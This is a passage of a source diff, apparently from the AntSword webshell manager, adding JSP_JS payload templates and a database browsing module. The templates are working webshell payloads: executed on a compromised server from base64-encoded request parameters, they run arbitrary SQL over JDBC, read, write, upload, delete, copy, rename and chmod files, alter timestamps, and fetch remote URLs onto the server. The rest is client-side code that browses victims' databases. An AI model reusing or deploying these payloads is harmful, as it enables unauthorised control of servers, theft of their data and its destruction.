var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showColumns(encode, conn, dbname, table) {
var columnsep = "\\t";
var rowsep = "";
var sql = "SELECT TOP 1 * FROM " + dbname + "." + table;
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
var z4 = decode(request.getParameter("
${
arg4
}
"));
output.append(showColumns(z1, z2, z3, z4));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
,
[
arg3
]:
'#{newbase64::db}'
,
[
arg4
]:
'#{newbase64::table}'
},
query
:
{
_
:
`
function Base64Encode(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var isRS = stmt.execute(sql);
if (isRS) {
var rs = stmt.getResultSet();
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += Base64Encode(columnValue) + columnsep;
}
ret += rowsep;
}
} else {
ret += "Result" + columnsep + rowsep;
var rowCount = stmt.getUpdateCount();
if (rowCount > 0) {
ret += Base64Encode("Rows changed = " + rowCount) + columnsep + rowsep;
} else if (rowCount == 0) {
ret +=
Base64Encode("No rows changed or statement was DDL command") +
columnsep +
rowsep;
} else {
ret += Base64Encode("False") + columnsep + rowsep;
}
}
return ret;
}
function query(encode, conn, sql) {
var columnsep = "\\t|\\t";
var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
output.append(query(z1, z2, z3));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
,
[
arg3
]:
'#{newbase64::sql}'
}
})
\ No newline at end of file
source/core/jsp_js/template/filemanager.js
0 → 100644
View file @
a6efa86f
/**
* 文件管理模板
*/
module
.
exports
=
(
arg1
,
arg2
,
arg3
)
=>
({
dir
:
{
_
:
`
function FileTreeCode(dirPath) {
var oF = new File(dirPath);
var l = oF.listFiles();
var s = "", sT, sQ, sF = "";
var dt;
var fm = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (var i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "-";
sQ += l[i].canWrite() ? "W" : "-";
try {
sQ += l[i].getClass().getMethod("canExecute").invoke(l[i]) ? "X" : "-";
}catch (e) {
sQ += "-";
}
var nm = l[i].getName();
if (l[i].isDirectory()) {
s += nm + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\\n";
} else {
sF += nm + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\\n";
}
}
s += sF;
return s;
}
var dirPath=decode(request.getParameter("
${
arg1
}
"));
output.append(FileTreeCode(dirPath));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
},
delete
:
{
_
:
`
function DeleteFileOrDirCode(fileOrDirPath) {
var f = new File(fileOrDirPath);
if (f.isDirectory()) {
var x = f.listFiles();
for (var k = 0; k < x.length; k++) {
if (!x[k].delete()) {
DeleteFileOrDirCode(x[k].getPath());
}
}
}
f.delete();
return "1";
}
var fileOrDirPath = decode(request.getParameter("
${
arg1
}
"));
output.append(DeleteFileOrDirCode(fileOrDirPath));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
},
create_file
:
{
_
:
`
function WriteFileCode(filePath, fileContext) {
var h = "0123456789ABCDEF";
var fileHexContext = strtohexstr(fileContext);
var f = new File(filePath);
var os = new FileOutputStream(f);
for (var i = 0; i < fileHexContext.length(); i += 2) {
os.write(
(h.indexOf(fileHexContext.charAt(i)) << 4) |
h.indexOf(fileHexContext.charAt(i + 1))
);
}
os.close();
return "1";
}
function strtohexstr(fileContext) {
var h = "0123456789ABCDEF";
var bytes = fileContext.getBytes(cs);
var sb = new StringBuilder(bytes.length * 2);
for (var i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
return sb.toString();
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(WriteFileCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
[
arg2
]:
"#{newbase64::content}"
,
},
read_file
:
{
_
:
`
function ReadFileCode(filePath) {
var l = "";
var s = "";
var br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(filePath)), cs)
);
while ((l = br.readLine()) != null) {
s += l + "\\r\\n";
}
br.close();
return s;
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
output.append(ReadFileCode(z1));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
},
copy
:
{
_
:
`
function CopyFileOrDirCode(sourceFilePath, targetFilePath) {
var sf = new File(sourceFilePath),
df = new File(targetFilePath);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
var z = sf.listFiles();
for (var j = 0; j < z.length; j++) {
CopyFileOrDirCode(
sourceFilePath + "/" + z[j].getName(),
targetFilePath + "/" + z[j].getName()
);
}
} else {
var is = new FileInputStream(sf);
var os = new FileOutputStream(df);
var n;
var byteArray = Java.type("byte[]");
var b = new byteArray(1024);
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(CopyFileOrDirCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
[
arg2
]:
"#{newbase64::target}"
,
},
download_file
:
{
_
:
`
function DownloadFileCode(filePath, r) {
var n;
var byteArray = Java.type("byte[]");
var b = new byteArray(512);
r.reset();
var os = r.getOutputStream();
var is = new BufferedInputStream(new FileInputStream(filePath));
os.write(tag_s.getBytes());
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(tag_e.getBytes());
os.close();
is.close();
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
output.append(DownloadFileCode(z1, response));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
},
upload_file
:
{
_
:
`
function UploadFileCode(savefilePath, fileHexContext) {
var h = "0123456789ABCDEF";
var f = new File(savefilePath);
f.createNewFile();
var os = new FileOutputStream(f, true);
for (var i = 0; i < fileHexContext.length(); i += 2) {
os.write(
(h.indexOf(fileHexContext.charAt(i)) << 4) |
h.indexOf(fileHexContext.charAt(i + 1))
);
}
os.close();
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(UploadFileCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
[
arg2
]:
"#{buffer::content}"
,
},
rename
:
{
_
:
`
function RenameFileOrDirCode(oldName, newName) {
var sf = new File(oldName),
df = new File(newName);
sf.renameTo(df);
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(RenameFileOrDirCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
[
arg2
]:
"#{newbase64::name}"
,
},
retime
:
{
_
:
`
function ModifyFileOrDirTimeCode(fileOrDirPath, aTime) {
var f = new File(fileOrDirPath);
var fm = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
var dt = fm.parse(aTime);
f.setLastModified(dt.getTime());
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(ModifyFileOrDirTimeCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
[
arg2
]:
"#{newbase64::time}"
,
},
chmod
:
{
_
:
`
function ChmodCode(path, permstr) {
try {
var permissions = Integer.parseInt(permstr, 8);
var f = new File(path);
if ((permissions & 256) > 0) {
f.getClass().getDeclaredMethod("setReadable").invoke(f, true, true);
}
if ((permissions & 128) > 0) {
f.getClass().getDeclaredMethod("setWritable").invoke(f, true, true);
}
if ((permissions & 64) > 0) {
f.getClass().getDeclaredMethod("setExecutable").invoke(f, true, true);
}
if ((permissions & 32) > 0) {
f.getClass().getDeclaredMethod("setReadable").invoke(f, true, false);
}
if ((permissions & 16) > 0) {
f.getClass().getDeclaredMethod("setWritable").invoke(f, true, false);
}
if ((permissions & 8) > 0) {
f.getClass().getDeclaredMethod("setExecutable").invoke(f, true, false);
}
if ((permissions & 4) > 0) {
f.getClass().getDeclaredMethod("setReadable").invoke(f, true, false);
}
if ((permissions & 2) > 0) {
f.getClass().getDeclaredMethod("setWritable").invoke(f, true, false);
}
if ((permissions & 1) > 0) {
f.getClass().getDeclaredMethod("setExecutable").invoke(f, true, false);
}
} catch (e) {
return "0";
}
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(ChmodCode(z1, z2));`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
[
arg2
]:
"#{newbase64::mode}"
,
},
mkdir
:
{
_
:
`
function CreateDirCode(dirPath) {
var f = new File(dirPath);
f.mkdir();
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
output.append(CreateDirCode(z1));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::path}"
,
},
wget
:
{
_
:
`
function WgetCode(urlPath, saveFilePath) {
var u = new java.net.URL(urlPath);
var n = 0;
var os = new FileOutputStream(saveFilePath);
var h = u.openConnection();
var is = h.getInputStream();
var byteArray = Java.type("byte[]");
var b = new byteArray(1024);
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
return "1";
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(WgetCode(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::url}"
,
[
arg2
]:
"#{newbase64::path}"
,
},
});
source/modules/database/jsp_js/index.js
0 → 100644
View file @
a6efa86f
//
// 数据库驱动::JSP_JS 支持数据库: Any
// time: 2021/6/5
// by: yzddMr6
//
const
LANG
=
antSword
[
'language'
][
'database'
];
const
LANG_T
=
antSword
[
'language'
][
'toastr'
];
const
dialog
=
antSword
.
remote
.
dialog
;
const
fs
=
require
(
'fs'
);
const
Decodes
=
antSword
.
Decodes
;
class
JSP_JS
{
constructor
(
opt
)
{
this
.
opt
=
opt
;
this
.
core
=
this
.
opt
.
core
;
this
.
manager
=
this
.
opt
.
super
;
//
// * 数据库驱动列表
//
this
.
conns
=
{
'mysql'
:
'com.mysql.jdbc.Driver
\
r
\
njdbc:mysql://localhost/test?user=root&password=123456'
,
'sqlserver'
:
'com.microsoft.sqlserver.jdbc.SQLServerDriver
\
r
\
njdbc:sqlserver://127.0.0.1:1433;'
+
'databaseName=test;user=sa;password=123456'
,
'oracle'
:
'oracle.jdbc.driver.OracleDriver
\
r
\
njdbc:oracle:thin:@127.0.0.1:1521/test
\
r
\
nuser'
+
'
\
r
\
npassword'
};
// 1. 初始化TREE UI
this
.
tree
=
this
.
manager
.
list
.
layout
.
attachTree
();
// 2. 加载数据库配置
this
.
parse
();
// 3. tree单击::设置当前配置&&激活按钮
this
.
tree
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
// 更改按钮状态
id
.
startsWith
(
'conn::'
)
?
this
.
enableToolbar
()
:
this
.
disableToolbar
();
// 设置当前配置
const
tmp
=
id
.
split
(
'::'
);
const
arr
=
tmp
[
1
].
split
(
':'
);
// 设置当前数据库
this
.
dbconf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
arr
[
0
]
});
if
(
arr
.
length
>
1
)
{
this
.
dbconf
[
'database'
]
=
Buffer
.
from
(
arr
[
1
],
'base64'
).
toString
();
// 更新SQL编辑器
this
.
enableEditor
();
// manager.query.update(this.currentConf);
}
else
{
this
.
disableEditor
();
}
});
// 4. tree双击::加载库/表/字段
this
.
tree
.
attachEvent
(
'onDblClick'
,
(
id
)
=>
{
const
arr
=
id
.
split
(
'::'
);
if
(
arr
.
length
<
2
)
{
throw
new
Error
(
'ID ERR: '
+
id
)
};
switch
(
arr
[
0
])
{
// 获取数据库列表
case
'conn'
:
this
.
getDatabases
(
arr
[
1
]);
break
;
// 获取数据库表名
case
'database'
:
let
_db
=
arr
[
1
].
split
(
':'
);
this
.
getTables
(
_db
[
0
],
Buffer
.
from
(
_db
[
1
],
'base64'
).
toString
());
break
;
// 获取表名字段
case
'table'
:
let
_tb
=
arr
[
1
].
split
(
':'
);
this
.
getColumns
(
_tb
[
0
],
Buffer
.
from
(
_tb
[
1
],
'base64'
).
toString
(),
Buffer
.
from
(
_tb
[
2
],
'base64'
).
toString
());
break
;
// 生成查询SQL语句
case
'column'
:
let
_co
=
arr
[
1
].
split
(
':'
);
const
db
=
Buffer
.
from
(
_co
[
1
],
'base64'
).
toString
();
const
table
=
Buffer
.
from
(
_co
[
2
],
'base64'
).
toString
();
const
column
=
Buffer
.
from
(
_co
[
3
],
'base64'
).
toString
();
let
sql
=
""
;
switch
(
this
.
dbconf
[
'type'
])
{
case
'mysql'
:
sql
=
`SELECT \`
${
column
}
\` FROM \`
${
table
}
\` ORDER BY 1 DESC LIMIT 0,20;`
;
break
;
case
'sqlserver'
:
case
'mssql'
:
case
'sqlsrv'
:
sql
=
`SELECT TOP 20 [
${
column
}
] FROM [
${
table
}
] ORDER BY 1 DESC;`
;
break
;
case
'oracle'
:
case
'oracle_oci8'
:
sql
=
`SELECT
${
column
}
FROM
${
db
}
.
${
table
}
WHERE ROWNUM < 20 ORDER BY 1`
;
break
;
case
'postgresql'
:
case
'postgresql_pdo'
:
sql
=
`SELECT
${
column
}
FROM
${
table
}
ORDER BY 1 DESC LIMIT 20 OFFSET 0;`
;
break
;
default
:
sql
=
`SELECT \`
${
column
}
\` FROM \`
${
table
}
\` ORDER BY 1 DESC LIMIT 0,20;`
;
break
;
}
this
.
manager
.
query
.
editor
.
session
.
setValue
(
sql
);
break
;
}
});
// 5. tree右键::功能菜单
this
.
tree
.
attachEvent
(
'onRightClick'
,
(
id
,
event
)
=>
{
if
(
!
id
.
startsWith
(
'conn::'
))
{
return
};
this
.
tree
.
selectItem
(
id
);
this
.
tree
.
callEvent
(
'onClick'
,
[
id
]);
bmenu
([{
text
:
LANG
[
'list'
][
'menu'
][
'add'
],
icon
:
'fa fa-plus-circle'
,
action
:
this
.
addConf
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'edit'
],
icon
:
'fa fa-edit'
,
action
:
this
.
editConf
.
bind
(
this
)
},
{
divider
:
true
},
{
text
:
LANG
[
'list'
][
'menu'
][
'del'
],
icon
:
'fa fa-remove'
,
action
:
this
.
delConf
.
bind
(
this
)
}],
event
);
});
}
// 加载配置列表
parse
()
{
// 获取数据
const
info
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-findOne'
,
this
.
manager
.
opt
[
'_id'
]);
const
conf
=
info
[
'database'
]
||
{};
// 刷新UI 1.清空数据
this
.
tree
.
deleteChildItems
(
0
);
// 2.添加数据
let
items
=
[];
for
(
let
_
in
conf
)
{
items
.
push
({
id
:
`conn::
${
_
}
`
,
// text: `${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`,
text
:
antSword
.
noxss
(
conf
[
_
][
'type'
].
toUpperCase
()),
im0
:
this
.
manager
.
list
.
imgs
[
0
],
im1
:
this
.
manager
.
list
.
imgs
[
0
],
im2
:
this
.
manager
.
list
.
imgs
[
0
]
});
}
// 3.刷新UI
this
.
tree
.
parse
({
id
:
0
,
item
:
items
},
'json'
);
// 禁用按钮
this
.
disableToolbar
();
this
.
disableEditor
();
}
// 添加配置
addConf
()
{
const
hash
=
(
+
new
Date
*
Math
.
random
())
.
toString
(
16
)
.
substr
(
2
,
8
);
// 创建窗口
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
450
,
300
);
win
.
setText
(
LANG
[
'form'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
)
.
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
// 工具栏
const
toolbar
=
win
.
attachToolbar
();
toolbar
.
loadStruct
([{
id
:
'add'
,
type
:
'button'
,
icon
:
'plus-circle'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'add'
]
},
{
type
:
'separator'
},
{
id
:
'clear'
,
type
:
'button'
,
icon
:
'remove'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'clear'
]
},
{
type
:
'separator'
},
{
id
:
'test'
,
type
:
'button'
,
icon
:
'spinner'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'test'
]
}]);
// form
const
form
=
win
.
attachForm
([{
type
:
'settings'
,
position
:
'label-left'
,
labelWidth
:
80
,
inputWidth
:
280
},
{
type
:
'block'
,
inputWidth
:
'auto'
,
offsetTop
:
12
,
list
:
[{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'type'
],
readonly
:
true
,
name
:
'type'
,
options
:
(()
=>
{
let
ret
=
[];
for
(
let
_
in
this
.
conns
)
{
ret
.
push
({
text
:
_
.
toUpperCase
(),
value
:
_
});
}
return
ret
;
})()
},
{
type
:
'input'
,
label
:
LANG
[
'form'
][
'conn'
],
name
:
'conn'
,
required
:
true
,
value
:
'com.mysql.jdbc.Driver
\
r
\
njdbc:mysql://localhost/test?user=root&password=123456'
,
rows
:
9
}]
}],
true
);
form
.
attachEvent
(
'onChange'
,
(
_
,
id
)
=>
{
if
(
_
!==
'type'
)
{
return
};
form
.
setFormData
({
conn
:
this
.
conns
[
id
]
});
});
// 工具栏点击事件
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
switch
(
id
)
{
case
'clear'
:
form
.
clear
();
break
;
case
'add'
:
if
(
!
form
.
validate
())
{
// return '填写完整!';
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
data
=
form
.
getValues
();
// 验证是否连接成功(获取数据库列表)
const
id
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-addDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
data
:
data
});
win
.
close
();
toastr
.
success
(
LANG
[
'form'
][
'success'
],
LANG_T
[
'success'
]);
this
.
tree
.
insertNewItem
(
0
,
`conn::
${
id
}
`
,
// `${data['type']}:\/\/${data['user']}@${data['host']}`,
data
[
'type'
].
toUpperCase
(),
null
,
this
.
manager
.
list
.
imgs
[
0
],
this
.
manager
.
list
.
imgs
[
0
],
this
.
manager
.
list
.
imgs
[
0
]);
break
;
case
'test'
:
if
(
!
form
.
validate
())
{
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
_data
=
form
.
getValues
();
win
.
progressOn
();
this
.
core
.
request
(
this
.
core
[
`database_
${
_data
[
'type'
]}
`
].
show_databases
({
encode
:
this
.
manager
.
opt
.
encode
,
conn
:
_data
[
'conn'
]
}))
.
then
((
res
)
=>
{
if
(
res
[
'text'
].
length
>
0
)
{
if
(
res
[
'text'
].
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
res
[
"text"
];
}
toastr
.
success
(
LANG
[
'form'
][
'test_success'
],
LANG_T
[
'success'
]);
}
else
{
toastr
.
warning
(
LANG
[
'form'
][
'test_warning'
],
LANG_T
[
'warning'
]);
}
win
.
progressOff
();
})
.
catch
((
err
)
=>
{
win
.
progressOff
();
toastr
.
error
(
JSON
.
stringify
(
err
),
LANG_T
[
'error'
]);
});
break
;
}
});
}
// 修改配置
editConf
()
{
const
id
=
this
.
tree
.
getSelected
()
.
split
(
'::'
)[
1
];
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
const
hash
=
(
+
new
Date
*
Math
.
random
())
.
toString
(
16
)
.
substr
(
2
,
8
);
// 创建窗口
const
win
=
this
.
manager
.
win
.
createWindow
(
hash
,
0
,
0
,
450
,
300
);
win
.
setText
(
LANG
[
'form'
][
'title'
]);
win
.
centerOnScreen
();
win
.
button
(
'minmax'
)
.
hide
();
win
.
setModal
(
true
);
win
.
denyResize
();
// 工具栏
const
toolbar
=
win
.
attachToolbar
();
toolbar
.
loadStruct
([{
id
:
'edit'
,
type
:
'button'
,
icon
:
'edit'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'edit'
]
},
{
type
:
'separator'
},
{
id
:
'clear'
,
type
:
'button'
,
icon
:
'remove'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'clear'
]
},
{
type
:
'separator'
},
{
id
:
'test'
,
type
:
'button'
,
icon
:
'spinner'
,
text
:
LANG
[
'form'
][
'toolbar'
][
'test'
]
}]);
// form
const
form
=
win
.
attachForm
([{
type
:
'settings'
,
position
:
'label-left'
,
labelWidth
:
80
,
inputWidth
:
280
},
{
type
:
'block'
,
inputWidth
:
'auto'
,
offsetTop
:
12
,
list
:
[{
type
:
'combo'
,
label
:
LANG
[
'form'
][
'type'
],
readonly
:
true
,
name
:
'type'
,
options
:
(()
=>
{
let
ret
=
[];
for
(
let
_
in
this
.
conns
)
{
ret
.
push
({
text
:
_
.
toUpperCase
(),
value
:
_
,
selected
:
conf
[
'type'
]
===
_
});
}
return
ret
;
})()
},
{
type
:
'input'
,
label
:
LANG
[
'form'
][
'conn'
],
name
:
'conn'
,
required
:
true
,
value
:
conf
[
'conn'
],
rows
:
9
}]
}],
true
);
form
.
attachEvent
(
'onChange'
,
(
_
,
id
)
=>
{
if
(
_
!==
'type'
)
{
return
};
form
.
setFormData
({
conn
:
this
.
conns
[
id
]
});
});
// 工具栏点击事件
toolbar
.
attachEvent
(
'onClick'
,
(
id
)
=>
{
switch
(
id
)
{
case
'clear'
:
form
.
clear
();
break
;
case
'edit'
:
if
(
!
form
.
validate
())
{
// return '填写完整!';
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
data
=
form
.
getValues
();
// 验证是否连接成功(获取数据库列表)
const
id
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-editDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
this
.
tree
.
getSelected
()
.
split
(
'::'
)[
1
],
data
:
data
});
win
.
close
();
toastr
.
success
(
LANG
[
'form'
][
'success'
],
LANG_T
[
'success'
]);
// 刷新 UI
this
.
parse
();
break
;
case
'test'
:
if
(
!
form
.
validate
())
{
return
toastr
.
warning
(
LANG
[
'form'
][
'warning'
],
LANG_T
[
'warning'
]);
};
// 解析数据
let
_data
=
form
.
getValues
();
win
.
progressOn
();
this
.
core
.
request
(
this
.
core
[
`database_
${
_data
[
'type'
]}
`
].
show_databases
({
encode
:
this
.
manager
.
opt
.
encode
,
conn
:
_data
[
'conn'
]
}))
.
then
((
res
)
=>
{
if
(
res
[
'text'
].
length
>
0
)
{
if
(
res
[
'text'
].
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
res
[
"text"
];
}
toastr
.
success
(
LANG
[
'form'
][
'test_success'
],
LANG_T
[
'success'
]);
}
else
{
toastr
.
warning
(
LANG
[
'form'
][
'test_warning'
],
LANG_T
[
'warning'
]);
}
win
.
progressOff
();
})
.
catch
((
err
)
=>
{
win
.
progressOff
();
toastr
.
error
(
JSON
.
stringify
(
err
),
LANG_T
[
'error'
]);
});
break
;
}
});
}
// 删除配置
delConf
()
{
const
id
=
this
.
tree
.
getSelected
()
.
split
(
'::'
)[
1
];
layer
.
confirm
(
LANG
[
'form'
][
'del'
][
'confirm'
],
{
icon
:
2
,
shift
:
6
,
title
:
LANG
[
'form'
][
'del'
][
'title'
]
},
(
_
)
=>
{
layer
.
close
(
_
);
const
ret
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-delDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
if
(
ret
===
1
)
{
toastr
.
success
(
LANG
[
'form'
][
'del'
][
'success'
],
LANG_T
[
'success'
]);
this
.
tree
.
deleteItem
(
`conn::
${
id
}
`
);
// 禁用按钮
this
.
disableToolbar
();
this
.
disableEditor
();
// ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse();
}
else
{
toastr
.
error
(
LANG
[
'form'
][
'del'
][
'error'
](
ret
),
LANG_T
[
'error'
]);
}
});
}
// 获取数据库列表
getDatabases
(
id
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
this
.
core
.
request
(
this
.
core
[
`database_
${
conf
[
'type'
]}
`
].
show_databases
({
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
:
[
'access'
,
'microsoft_jet_oledb_4_0'
].
indexOf
(
conf
[
'type'
])
>
-
1
?
conf
[
'conn'
].
match
(
/
[\w]
+.mdb$/
)
:
'database'
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
const
arr
=
ret
.
split
(
'
\
t'
);
if
(
arr
.
length
===
1
&&
ret
===
''
)
{
toastr
.
warning
(
LANG
[
'result'
][
'warning'
],
LANG_T
[
'warning'
])
return
this
.
manager
.
list
.
layout
.
progressOff
();
};
// 删除子节点
this
.
tree
.
deleteChildItems
(
`conn::
${
id
}
`
);
// 添加子节点
arr
.
map
((
_
)
=>
{
if
(
!
_
)
{
return
};
const
_db
=
Buffer
.
from
(
antSword
.
unxss
(
_
)).
toString
(
'base64'
);
this
.
tree
.
insertNewItem
(
`conn::
${
id
}
`
,
`database::
${
id
}
:
${
_db
}
`
,
_
,
null
,
this
.
manager
.
list
.
imgs
[
1
],
this
.
manager
.
list
.
imgs
[
1
],
this
.
manager
.
list
.
imgs
[
1
]);
});
this
.
manager
.
list
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'database'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
// 获取数据库表数据
getTables
(
id
,
db
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
opt
[
'_id'
],
id
:
id
});
this
.
core
.
request
(
this
.
core
[
`database_
${
conf
[
'type'
]}
`
].
show_tables
({
conn
:
conf
[
'conn'
],
encode
:
this
.
manager
.
opt
.
encode
,
db
:
db
}))
.
then
((
res
)
=>
{
let
ret
=
res
[
'text'
];
if
(
ret
.
indexOf
(
"ERROR://"
)
>
-
1
)
{
throw
ret
;
}
const
arr
=
ret
.
split
(
'
\
t'
);
const
_db
=
Buffer
.
from
(
db
).
toString
(
'base64'
);
// 删除子节点
this
.
tree
.
deleteChildItems
(
`database::
${
id
}
:
${
_db
}
`
);
// 添加子节点
arr
.
map
((
_
)
=>
{
if
(
!
_
)
{
return
};
const
_table
=
Buffer
.
from
(
antSword
.
unxss
(
_
))
.
toString
(
'base64'
);
this
.
tree
.
insertNewItem
(
`database::
${
id
}
:
${
_db
}
`
,
`table::
${
id
}
:
${
_db
}
:
${
_table
}
`
,
_
,
null
,
this
.
manager
.
list
.
imgs
[
2
],
this
.
manager
.
list
.
imgs
[
2
],
this
.
manager
.
list
.
imgs
[
2
]);
});
this
.
manager
.
list
.
layout
.
progressOff
();
})
.
catch
((
err
)
=>
{
toastr
.
error
(
LANG
[
'result'
][
'error'
][
'table'
](
err
[
'status'
]
||
JSON
.
stringify
(
err
)),
LANG_T
[
'error'
]);
this
.
manager
.
list
.
layout
.
progressOff
();
});
}
// 获取字段
getColumns
(
id
,
db
,
table
)
{
this
.
manager
.
list
.
layout
.
progressOn
();
// 获取配置
const
conf
=
antSword
[
'ipcRenderer'
].
sendSync
(
'shell-getDataConf'
,
{
_id
:
this
.
manager
.
